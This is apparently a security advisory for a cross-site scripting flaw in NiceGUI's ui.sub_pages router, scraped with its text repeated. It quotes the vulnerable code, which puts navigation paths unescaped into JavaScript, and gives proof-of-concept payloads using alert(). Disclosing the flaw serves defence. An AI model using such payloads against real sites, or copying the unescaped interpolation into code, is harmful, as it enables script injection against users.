Summary
An unsafe implementation in the click event listener used by ui.sub_pages, combined with attacker-controlled link rendering on the page, causes an XSS when the user actively clicks on the link.
Details
-
On click, eventually sub_pages_navigate event is emitted.
|
document.addEventListener("click", (e) => { |
|
const a = e.target.closest("a[href]"); |
|
if (a && a.target !== "_blank" && !a.hasAttribute("download")) { |
|
const href = a.getAttribute("href"); |
|
if (href.startsWith("/")) { |
|
e.preventDefault(); |
|
|
|
const currentPath = getCleanCurrentPath(); |
|
const targetUrl = new URL(href, window.location.origin); |
|
const targetPath = stripPathPrefix(targetUrl.pathname + targetUrl.search); |
|
|
|
// Handle same-page fragment navigation |
|
if (currentPath === targetPath && targetUrl.hash) { |
|
if (handleFragmentNavigation(href, targetUrl)) { |
|
return; |
|
} |
|
} |
|
|
|
// Regular page navigation |
|
emitEvent("sub_pages_navigate", stripPathPrefix(href)); |
|
} |
|
} |
|
}); |
-
SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_navigate, _handle_navigate runs.
|
class SubPagesRouter: |
|
|
|
def __init__(self, request: Request | None) -> None: |
|
on('sub_pages_open', lambda event: self._handle_open(event.args)) |
|
on('sub_pages_navigate', lambda event: self._handle_navigate(event.args)) |
-
_handle_navigate runs run_javascript with f-string substituting self.current_path which is simply surrounded by double-quotes. The string context can be broken out easily.
|
async def _handle_navigate(self, path: str) -> None: |
|
# NOTE: keep a reference to the client because _handle_open clears the slots so that context.client does not work anymore |
|
client = context.client |
|
await self._handle_open(path) |
|
if ( |
|
not has_any_unresolved_path(client) or # path is handled by `ui.sub_pages` |
|
not self._other_page_builder_matches_path(path, client) # `ui.sub_pages` is still responsible |
|
): |
|
client.run_javascript(f''' |
|
const fullPath = (window.path_prefix || '') + "{self.current_path}"; |
|
if (window.location.pathname + window.location.search + window.location.hash !== fullPath) {{ |
|
history.pushState({{page: "{self.current_path}"}}, "", fullPath); |
|
}} |
|
''') |
|
else: |
|
client.open(path, new_tab=False) |
PoC
The minimal PoC boils down to this:
from nicegui import ui
ui.sub_pages({'/': lambda: ui.link('Go to XSS', '/"+alert(1)+"')})
ui.run()
However, it is more likely that the attack takes place with attacker-controlled input, for which this shows it:
from nicegui import app, ui
ui.sub_pages({'/': lambda: ui.label('Hello, World!')})
ui.textarea('Markdown content').bind_value(app.storage.general, 'markdown_content')
ui.markdown().bind_content_from(app.storage.general, 'markdown_content')
ui.run()
Vulnerable input is [XSS LINK](/"+alert(document.domain)+") (causes double payload execution, though)
Both cases require someone to click on the link.
Impact
Any page which uses ui.sub_pages and renders arbitrary links on screen (common case of ui.markdown) is affected.
The impact is low since a click is always required from the user, who can on-hover to discover the sketchy content of the link and stop if well-trained.
Appendix
AI is used safely to judge the CVSS scoring (input is not even provided, just the impact statement).
Please find the results in https://poe.com/s/y5DvyqgtszDGLUuHin1O
Scoring update after manual review
- Scope Changed is more inline with other posted XSS vulnerabilities
- Availability None: No DDoS is possible with this. Site remains performant as ever.
Summary
An unsafe implementation in the
clickevent listener used byui.sub_pages, combined with attacker-controlled link rendering on the page, causes an XSS when the user actively clicks on the link.Details
On
click, eventuallysub_pages_navigateevent is emitted.nicegui/nicegui/elements/sub_pages.js
Lines 41 to 63 in 59fa942
SubPagesRouter (used by ui.sub_pages), lisnening on
sub_pages_navigate,_handle_navigateruns.nicegui/nicegui/sub_pages_router.py
Lines 18 to 22 in 59fa942
_handle_navigaterunsrun_javascriptwith f-string substitutingself.current_pathwhich is simply surrounded by double-quotes. The string context can be broken out easily.nicegui/nicegui/sub_pages_router.py
Lines 73 to 88 in 59fa942
PoC
The minimal PoC boils down to this:
However, it is more likely that the attack takes place with attacker-controlled input, for which this shows it:
Vulnerable input is
[XSS LINK](/"+alert(document.domain)+")(causes double payload execution, though)Both cases require someone to click on the link.
Impact
Any page which uses
ui.sub_pagesand renders arbitrary links on screen (common case ofui.markdown) is affected.The impact is low since a click is always required from the user, who can on-hover to discover the sketchy content of the link and stop if well-trained.
Appendix
AI is used safely to judge the CVSS scoring (input is not even provided, just the impact statement).
Please find the results in https://poe.com/s/y5DvyqgtszDGLUuHin1O
Scoring update after manual review